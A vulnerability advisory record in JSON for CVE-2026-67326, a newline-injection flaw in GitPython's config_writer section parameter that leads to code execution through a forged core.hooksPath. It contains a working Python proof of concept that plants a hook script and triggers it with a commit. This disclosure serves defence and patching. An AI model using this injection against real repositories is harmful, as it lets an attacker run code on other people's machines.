{"id":"CVE-2026-67326","aliases":["GHSA-mv93-w799-cj2w","PYSEC-2026-3980"],"url":"https://o3.security/vulnerability/CVE-2026-67326","summary":"GitPython before 3.1.50 Newline Injection via config_writer section","details":"Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py — GitPython 3.1.49 (latest patched version)\n\n```python\n  def set_value(self, section: str, option: str, value) -> \"GitConfigParser\":\n      value_str = self._value_to_string_safe(value)   # only value is validated\n      if not self.has_section(section):\n          self.add_section(section)                    # section not validated\n      super().set(section, option, value_str)          # option not validated\n      return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n — two valid section headers — into .git/config.\n\nPoC\n\n```python\n  import git, os, subprocess\n\n  repo = git.Repo.init(\"/tmp/bypass_test\")\n\n  os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n  with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n      f.write(\"#!/bin/sh\\nid > /tmp/rce_proof.txt\\n\")\n  os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n  # Inject newline into section parameter (not value — already patched)\n  with repo.config_writer() as cw:\n      cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n  r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n                     capture_output=True, text=True)\n  print(r.stdout.strip())  # → /tmp/evil_hooks\n\n  subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n  print(open(\"/tmp/rce_proof.txt\").read())  # → uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.","published":"2026-08-01T12:22:18.180Z","modified":"2026-09-18T03:48:29.404982628Z","cvss":null,"epss":{"score":0.00191,"percentile":0.09074,"asOf":"2026-08-14"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"gitpython","fixedVersion":"3.1.50"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/67xxx/CVE-2026-67326.json"},{"type":"ADVISORY","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67326"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/gitpython-before-newline-injection-via-config-writer-section"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-rpm5-65cw-6hj4"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-18T03:48:29.404982628Z"}}